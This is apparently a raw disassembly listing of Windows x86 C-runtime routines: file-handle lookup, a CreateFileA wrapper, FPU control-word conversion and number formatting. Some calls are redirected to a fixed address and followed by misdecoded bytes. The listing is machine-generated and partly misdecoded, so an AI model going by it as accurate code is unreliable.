loc_41B4D9 ; --------------------------------------------------------------------------- loc_41B4C5: ; CODE XREF: seg000:0041B471j ; seg000:0041B48Dj and ds:dword_45E808, 0 mov ds:dword_45E804, 9 or eax, 0FFFFFFFFh loc_41B4D9: ; CODE XREF: seg000:0041B4C3j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41B4DC: ; CODE XREF: sub_41665B+7Cp mov ecx, [esp+4] push esi cmp ecx, ds:dword_45FC20 push edi jnb short loc_41B53F mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:45FB20h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41B53F cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41B53F cmp ds:dword_42D0E4, 1 jnz short near ptr loc_41B534+1 xor eax, eax sub ecx, eax jz short loc_41B52C dec ecx jz short loc_41B527 dec ecx jnz short near ptr loc_41B534+1 push eax push 0FFFFFFF4h jmp short loc_41B52F ; --------------------------------------------------------------------------- loc_41B527: ; CODE XREF: seg000:0041B51Dj push eax push 0FFFFFFF5h jmp short loc_41B52F ; --------------------------------------------------------------------------- loc_41B52C: ; CODE XREF: seg000:0041B51Aj push eax push 0FFFFFFF6h loc_41B52F: ; CODE XREF: seg000:0041B525j ; seg000:0041B52Aj call near ptr 0A70000h loc_41B534: ; CODE XREF: seg000:0041B514j ; seg000:0041B520j mov eax, 0C83078Bh xor bh, bh xor eax, eax jmp short loc_41B553 ; --------------------------------------------------------------------------- loc_41B53F: ; CODE XREF: seg000:0041B4E8j ; seg000:0041B506j ... and ds:dword_45E808, 0 mov ds:dword_45E804, 9 or eax, 0FFFFFFFFh loc_41B553: ; CODE XREF: seg000:0041B53Dj pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_41B556 proc near ; CODE XREF: sub_41665B+32p ; sub_41665B+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_45FC20 jnb short loc_41B57E mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_45FB20[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41B57E mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41B57E: ; CODE XREF: sub_41B556+Aj ; sub_41B556+23j and ds:dword_45E808, 0 mov ds:dword_45E804, 9 or eax, 0FFFFFFFFh retn sub_41B556 endp ; =============== S U B R O U T I N E ======================================= sub_41B593 proc near ; CODE XREF: sub_416739+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_45FC20 jnb short loc_41B5DC mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, ds:dword_45FB20[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41B5DC push eax call sub_41B556 pop ecx push eax call near ptr 0A70000h in al, 85h sal byte ptr [ebp+8], 0FFh adc eax, offset dword_41F068 jmp short loc_41B5D3 ; --------------------------------------------------------------------------- xor eax, eax loc_41B5D3: ; CODE XREF: sub_41B593+3Cj test eax, eax jz short locret_41B5E9 mov ds:dword_45E808, eax loc_41B5DC: ; CODE XREF: sub_41B593+Aj ; sub_41B593+22j mov ds:dword_45E804, 9 or eax, 0FFFFFFFFh locret_41B5E9: ; CODE XREF: sub_41B593+42j retn sub_41B593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B5EA proc near ; CODE XREF: sub_416910+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_561B75B8 = byte ptr 561B75C0h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41B610 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41B61B ; --------------------------------------------------------------------------- loc_41B610: ; CODE XREF: sub_41B5EA+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41B61B: ; CODE XREF: sub_41B5EA+24j mov eax, 8000h test ecx, eax jnz short loc_41B635 test ch, 40h jnz short loc_41B631 cmp ds:dword_45EAD0, eax jz short loc_41B635 loc_41B631: ; CODE XREF: sub_41B5EA+3Dj or [ebp+var_1], 80h loc_41B635: ; CODE XREF: sub_41B5EA+38j ; sub_41B5EA+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41B66D dec eax jz short loc_41B664 dec eax jz short loc_41B65B loc_41B646: ; CODE XREF: sub_41B5EA+9Fj ; sub_41B5EA+E8j ... mov ds:dword_45E804, 16h mov ds:dword_45E808, ebx jmp loc_41B880 ; --------------------------------------------------------------------------- loc_41B65B: ; CODE XREF: sub_41B5EA+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41B674 ; --------------------------------------------------------------------------- loc_41B664: ; CODE XREF: sub_41B5EA+57j mov [ebp+var_C], 40000000h jmp short loc_41B674 ; --------------------------------------------------------------------------- loc_41B66D: ; CODE XREF: sub_41B5EA+54j mov [ebp+var_C], 80000000h loc_41B674: ; CODE XREF: sub_41B5EA+78j ; sub_41B5EA+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41B6A2 cmp eax, 20h jz short loc_41B699 cmp eax, 30h jz short loc_41B690 cmp eax, 40h jnz short loc_41B646 mov [ebp+var_10], esi jmp short loc_41B6A5 ; --------------------------------------------------------------------------- loc_41B690: ; CODE XREF: sub_41B5EA+9Aj mov [ebp+var_10], 2 jmp short loc_41B6A5 ; --------------------------------------------------------------------------- loc_41B699: ; CODE XREF: sub_41B5EA+95j mov [ebp+var_10], 1 jmp short loc_41B6A5 ; --------------------------------------------------------------------------- loc_41B6A2: ; CODE XREF: sub_41B5EA+90j mov [ebp+var_10], ebx loc_41B6A5: ; CODE XREF: sub_41B5EA+A4j ; sub_41B5EA+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41B6EF jz short loc_41B6EA cmp ecx, ebx jz short loc_41B6EA cmp ecx, edi jz short loc_41B6E1 cmp ecx, 200h jz short loc_41B708 cmp ecx, 300h jnz loc_41B646 mov [ebp+var_8], 2 jmp short loc_41B718 ; --------------------------------------------------------------------------- loc_41B6E1: ; CODE XREF: sub_41B5EA+D8j mov [ebp+var_8], 4 jmp short loc_41B718 ; --------------------------------------------------------------------------- loc_41B6EA: ; CODE XREF: sub_41B5EA+D0j ; sub_41B5EA+D4j mov [ebp+var_8], esi jmp short loc_41B718 ; --------------------------------------------------------------------------- loc_41B6EF: ; CODE XREF: sub_41B5EA+CEj cmp ecx, 500h jz short loc_41B711 cmp ecx, 600h jz short loc_41B708 cmp ecx, edx jz short loc_41B711 jmp loc_41B646 ; --------------------------------------------------------------------------- loc_41B708: ; CODE XREF: sub_41B5EA+E0j ; sub_41B5EA+113j mov [ebp+var_8], 5 jmp short loc_41B718 ; --------------------------------------------------------------------------- loc_41B711: ; CODE XREF: sub_41B5EA+10Bj ; sub_41B5EA+117j mov [ebp+var_8], 1 loc_41B718: ; CODE XREF: sub_41B5EA+F5j ; sub_41B5EA+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_41B737 mov ecx, ds:dword_45E80C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_41B737 push 1 pop esi loc_41B737: ; CODE XREF: sub_41B5EA+138j ; sub_41B5EA+148j test al, 40h jz short loc_41B745 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_41B745: ; CODE XREF: sub_41B5EA+14Fj test ah, 10h jz short loc_41B74C or esi, edi loc_41B74C: ; CODE XREF: sub_41B5EA+15Ej test al, 20h jz short loc_41B758 or esi, 8000000h jmp short loc_41B762 ; --------------------------------------------------------------------------- loc_41B758: ; CODE XREF: sub_41B5EA+164j test al, 10h jz short loc_41B762 or esi, 10000000h loc_41B762: ; CODE XREF: sub_41B5EA+16Cj ; sub_41B5EA+170j call sub_41B3D0 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_41B783 and ds:dword_45E808, 0 mov ds:dword_45E804, 18h jmp short loc_41B7C1 ; --------------------------------------------------------------------------- loc_41B783: ; CODE XREF: sub_41B5EA+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call ds:dword_41F078 ; CreateFileA mov esi, eax cmp esi, edi jz short loc_41B7B4 push esi call near ptr 0A70000h cmp al, [ebp+arg_561B75B8] call ds:dword_41F070 ; CloseHandle loc_41B7B4: ; CODE XREF: sub_41B5EA+1B6j call ds:dword_41F068 ; RtlGetLastWin32Error push eax call sub_41A667 pop ecx loc_41B7C1: ; CODE XREF: sub_41B5EA+197j mov eax, edi jmp loc_41B89E ; --------------------------------------------------------------------------- cmp eax, 2 jnz short loc_41B7D3 or [ebp+var_1], 40h jmp short loc_41B7DC ; --------------------------------------------------------------------------- loc_41B7D3: ; CODE XREF: sub_41B5EA+1E1j cmp eax, 3 jnz short loc_41B7DC or [ebp+var_1], 8 loc_41B7DC: ; CODE XREF: sub_41B5EA+1E7j ; sub_41B5EA+1ECj push esi push ebx call loc_41B465 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:45FB20h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_41B885 test al, 80h jz short loc_41B885 test byte ptr [ebp+arg_4], 2 jz short loc_41B885 push 2 push 0FFFFFFFFh push ebx call sub_419C0F add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_41B83A cmp ds:dword_45E808, 83h jz short loc_41B885 jmp short loc_41B879 ; --------------------------------------------------------------------------- loc_41B83A: ; CODE XREF: sub_41B5EA+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_419A19 add esp, 0Ch test eax, eax jnz short loc_41B867 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_41B867 push [ebp+var_10] push ebx call sub_41C8DC pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B879 loc_41B867: ; CODE XREF: sub_41B5EA+265j ; sub_41B5EA+26Bj push 0 push 0 push ebx call sub_419C0F add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_41B885 loc_41B879: ; CODE XREF: sub_41B5EA+24Ej ; sub_41B5EA+27Bj push ebx call sub_41665B pop ecx loc_41B880: ; CODE XREF: sub_41B5EA+6Cj or eax, 0FFFFFFFFh jmp short loc_41B89E ; --------------------------------------------------------------------------- loc_41B885: ; CODE XREF: sub_41B5EA+221j ; sub_41B5EA+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41B89C test byte ptr [ebp+arg_4], 8 jz short loc_41B89C mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_41B89C: ; CODE XREF: sub_41B5EA+29Fj ; sub_41B5EA+2A5j mov eax, ebx loc_41B89E: ; CODE XREF: sub_41B5EA+1D9j ; sub_41B5EA+299j pop edi pop esi pop ebx leave retn sub_41B5EA endp ; =============== S U B R O U T I N E ======================================= sub_41B8A3 proc near ; CODE XREF: sub_417C43+52p xor eax, eax retn sub_41B8A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B8A6 proc near ; CODE XREF: sub_41B8DB+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_41B8F1 mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_41B983 pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_41B8A6 endp ; =============== S U B R O U T I N E ======================================= sub_41B8DB proc near ; CODE XREF: sub_417F2F+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_41B8A6 pop ecx pop ecx retn sub_41B8DB endp ; =============== S U B R O U T I N E ======================================= sub_41B8F1 proc near ; CODE XREF: sub_41B8A6+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_41B902 push 10h pop eax loc_41B902: ; CODE XREF: sub_41B8F1+Cj test bl, 4 jz short loc_41B909 or al, 8 loc_41B909: ; CODE XREF: sub_41B8F1+14j test bl, 8 jz short loc_41B910 or al, 4 loc_41B910: ; CODE XREF: sub_41B8F1+1Bj test bl, 10h jz short loc_41B917 or al, 2 loc_41B917: ; CODE XREF: sub_41B8F1+22j test bl, 20h jz short loc_41B91E or al, 1 loc_41B91E: ; CODE XREF: sub_41B8F1+29j test bl, 2 jz short loc_41B928 or eax, 80000h loc_41B928: ; CODE XREF: sub_41B8F1+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_41B960 cmp edx, 400h jz short loc_41B95D cmp edx, 800h jz short loc_41B959 cmp edx, esi jnz short loc_41B960 or eax, edi jmp short loc_41B960 ; --------------------------------------------------------------------------- loc_41B959: ; CODE XREF: sub_41B8F1+5Ej or eax, ebp jmp short loc_41B960 ; --------------------------------------------------------------------------- loc_41B95D: ; CODE XREF: sub_41B8F1+56j or ah, 1 loc_41B960: ; CODE XREF: sub_41B8F1+4Ej ; sub_41B8F1+62j ... and ecx, edi pop esi jz short loc_41B970 cmp ecx, ebp jnz short loc_41B975 or eax, 10000h jmp short loc_41B975 ; --------------------------------------------------------------------------- loc_41B970: ; CODE XREF: sub_41B8F1+72j or eax, 20000h loc_41B975: ; CODE XREF: sub_41B8F1+76j ; sub_41B8F1+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_41B982 or eax, 40000h locret_41B982: ; CODE XREF: sub_41B8F1+8Aj retn sub_41B8F1 endp ; =============== S U B R O U T I N E ======================================= sub_41B983 proc near ; CODE XREF: sub_41B8A6+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_41B993 push 1 pop eax loc_41B993: ; CODE XREF: sub_41B983+Bj test bl, 8 jz short loc_41B99A or al, 4 loc_41B99A: ; CODE XREF: sub_41B983+13j test bl, 4 jz short loc_41B9A1 or al, 8 loc_41B9A1: ; CODE XREF: sub_41B983+1Aj test bl, 2 jz short loc_41B9A8 or al, 10h loc_41B9A8: ; CODE XREF: sub_41B983+21j test bl, 1 jz short loc_41B9AF or al, 20h loc_41B9AF: ; CODE XREF: sub_41B983+28j test ebx, 80000h jz short loc_41B9B9 or al, 2 loc_41B9B9: ; CODE XREF: sub_41B983+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_41B9E6 cmp ecx, 100h jz short loc_41B9E3 cmp ecx, esi jz short loc_41B9DE cmp ecx, edx jnz short loc_41B9E6 or ah, 0Ch jmp short loc_41B9E6 ; --------------------------------------------------------------------------- loc_41B9DE: ; CODE XREF: sub_41B983+50j or ah, 8 jmp short loc_41B9E6 ; --------------------------------------------------------------------------- loc_41B9E3: ; CODE XREF: sub_41B983+4Cj or ah, 4 loc_41B9E6: ; CODE XREF: sub_41B983+44j ; sub_41B983+54j ... mov ecx, ebx and ecx, 30000h jz short loc_41B9FC cmp ecx, 10000h jnz short loc_41B9FE or eax, esi jmp short loc_41B9FE ; --------------------------------------------------------------------------- loc_41B9FC: ; CODE XREF: sub_41B983+6Bj or eax, edx loc_41B9FE: ; CODE XREF: sub_41B983+73j ; sub_41B983+77j pop esi test ebx, 40000h pop ebx jz short locret_41BA0B or ah, 10h locret_41BA0B: ; CODE XREF: sub_41B983+83j retn sub_41B983 endp ; =============== S U B R O U T I N E ======================================= sub_41BA0C proc near ; CODE XREF: sub_41BAAB+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_41BA51 inc esi cmp esi, 3 jge short loc_41BA4C lea eax, [eax+esi*4] loc_41BA3E: ; CODE XREF: sub_41BA0C+3Ej cmp dword ptr [eax], 0 jnz short loc_41BA51 inc esi add eax, 4 cmp esi, 3 jl short loc_41BA3E loc_41BA4C: ; CODE XREF: sub_41BA0C+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_41BA51: ; CODE XREF: sub_41BA0C+27j ; sub_41BA0C+35j xor eax, eax pop esi retn sub_41BA0C endp ; =============== S U B R O U T I N E ======================================= sub_41BA55 proc near ; CODE XREF: sub_41BAAB+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_41CA22 add esp, 0Ch dec esi js short loc_41BAA7 lea edi, [ebx+esi*4] loc_41BA8E: ; CODE XREF: sub_41BA55+50j test eax, eax jz short loc_41BAA7 push edi push 1 push dword ptr [edi] call sub_41CA22 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_41BA8E loc_41BAA7: ; CODE XREF: sub_41BA55+34j ; sub_41BA55+3Bj pop edi pop esi pop ebx retn sub_41BA55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BAAB proc near ; CODE XREF: sub_41BC06+81p ; sub_41BC06+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_41BB0F inc ebx push ebx push [ebp+arg_0] call sub_41BA0C pop ecx test eax, eax pop ecx jnz short loc_41BB0C push edi push [ebp+arg_0] call sub_41BA55 pop ecx mov [ebp+var_4], eax pop ecx loc_41BB0C: ; CODE XREF: sub_41BAAB+51j mov eax, [ebp+arg_4] loc_41BB0F: ; CODE XREF: sub_41BAAB+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_41BB2F mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_41BB2F: ; CODE XREF: sub_41BAAB+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41BAAB endp ; =============== S U B R O U T I N E ======================================= sub_41BB37 proc near ; CODE XREF: sub_41BC06+75p ; sub_41BC06+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_41BB45: ; CODE XREF: sub_41BB37+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_41BB45 pop esi retn sub_41BB37 endp ; =============== S U B R O U T I N E ======================================= sub_41BB52 proc near ; CODE XREF: sub_41BC06+5Fp ; sub_41BC06+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_41BB52 endp ; =============== S U B R O U T I N E ======================================= sub_41BB5E proc near ; CODE XREF: sub_41BC06+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_41BB64: ; CODE XREF: sub_41BB5E+12j cmp dword ptr [eax], 0 jnz short loc_41BB76 inc ecx add eax, 4 cmp ecx, 3 jl short loc_41BB64 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41BB76: ; CODE XREF: sub_41BB5E+9j xor eax, eax retn sub_41BB5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB79 proc near ; CODE XREF: sub_41BC06+C0p ; sub_41BC06+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_41BBAF: ; CODE XREF: sub_41BB79+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_41BBAF mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_41BBE1: ; CODE XREF: sub_41BB79+86j cmp ebx, edi jl short loc_41BBF4 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_41BBFB ; --------------------------------------------------------------------------- loc_41BBF4: ; CODE XREF: sub_41BB79+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_41BBFB: ; CODE XREF: sub_41BB79+79j dec ebx sub ecx, 4 jns short loc_41BBE1 pop edi pop esi pop ebx leave retn sub_41BB79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC06 proc near ; CODE XREF: sub_41BD72+Dp ; sub_41BD88+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_41BC73 lea eax, [ebp+var_C] xor esi, esi push eax call sub_41BB5E test eax, eax pop ecx jnz loc_41BD32 lea eax, [ebp+var_C] push eax call sub_41BB52 pop ecx loc_41BC6B: ; CODE XREF: sub_41BC06+E4j push 2 loc_41BC6D: ; CODE XREF: sub_41BC06+110j pop eax jmp loc_41BD34 ; --------------------------------------------------------------------------- loc_41BC73: ; CODE XREF: sub_41BC06+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_41BB37 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41BAAB add esp, 10h test eax, eax jz short loc_41BC94 inc ebx loc_41BC94: ; CODE XREF: sub_41BC06+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_41BCAC lea eax, [ebp+var_C] push eax call sub_41BB52 pop ecx jmp short loc_41BCE8 ; --------------------------------------------------------------------------- loc_41BCAC: ; CODE XREF: sub_41BC06+98j cmp ebx, eax jg short loc_41BCEF sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_41BB37 lea eax, [ebp+var_C] push esi push eax call sub_41BB79 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41BAAB mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_41BB79 add esp, 20h loc_41BCE8: ; CODE XREF: sub_41BC06+A4j xor esi, esi jmp loc_41BC6B ; --------------------------------------------------------------------------- loc_41BCEF: ; CODE XREF: sub_41BC06+A8j cmp ebx, [edi] jl short loc_41BD1B lea eax, [ebp+var_C] push eax call sub_41BB52 push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_41BB79 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_41BC6D ; --------------------------------------------------------------------------- loc_41BD1B: ; CODE XREF: sub_41BC06+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_41BB79 pop ecx pop ecx loc_41BD32: ; CODE XREF: sub_41BC06+55j xor eax, eax loc_41BD34: ; CODE XREF: sub_41BC06+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_41BD63 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_41BD6D ; --------------------------------------------------------------------------- loc_41BD63: ; CODE XREF: sub_41BC06+14Ej cmp edi, 20h jnz short loc_41BD6D mov ecx, [ebp+arg_4] mov [ecx], esi loc_41BD6D: ; CODE XREF: sub_41BC06+15Bj ; sub_41BC06+160j pop edi pop esi pop ebx leave retn sub_41BC06 endp ; =============== S U B R O U T I N E ======================================= sub_41BD72 proc near ; CODE XREF: sub_41BD9E+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_42DA70 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BC06 add esp, 0Ch retn sub_41BD72 endp ; =============== S U B R O U T I N E ======================================= sub_41BD88 proc near ; CODE XREF: sub_41BDCB+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_42DA88 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BC06 add esp, 0Ch retn sub_41BD88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD9E proc near ; CODE XREF: sub_418068+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41CBC3 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41BD72 add esp, 24h leave retn sub_41BD9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BDCB proc near ; CODE XREF: sub_418068+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41CBC3 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41BD88 add esp, 24h leave retn sub_41BDCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BDF8 proc near ; CODE XREF: sub_4180A6+65p ; sub_4181AA+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_41BE35 mov [ebp+arg_0], ebx xor ebx, ebx loc_41BE1B: ; CODE XREF: sub_41BDF8+38j mov dl, [ecx] test dl, dl jz short loc_41BE27 movsx edx, dl inc ecx jmp short loc_41BE2A ; --------------------------------------------------------------------------- loc_41BE27: ; CODE XREF: sub_41BDF8+27j push 30h pop edx loc_41BE2A: ; CODE XREF: sub_41BDF8+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_41BE1B mov edx, [ebp+arg_8] loc_41BE35: ; CODE XREF: sub_41BDF8+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_41BE4E cmp byte ptr [ecx], 35h jl short loc_41BE4E loc_41BE41: ; CODE XREF: sub_41BDF8+52j dec eax cmp byte ptr [eax], 39h jnz short loc_41BE4C mov byte ptr [eax], 30h jmp short loc_41BE41 ; --------------------------------------------------------------------------- loc_41BE4C: ; CODE XREF: sub_41BDF8+4Dj inc byte ptr [eax] loc_41BE4E: ; CODE XREF: sub_41BDF8+42j ; sub_41BDF8+47j cmp byte ptr [esi], 31h jnz short loc_41BE58 inc dword ptr [edx+4] jmp short loc_41BE6A ; --------------------------------------------------------------------------- loc_41BE58: ; CODE XREF: sub_41BDF8+59j push edi call sub_413DB0 inc eax push eax push edi push esi call sub_414520 add esp, 10h loc_41BE6A: ; CODE 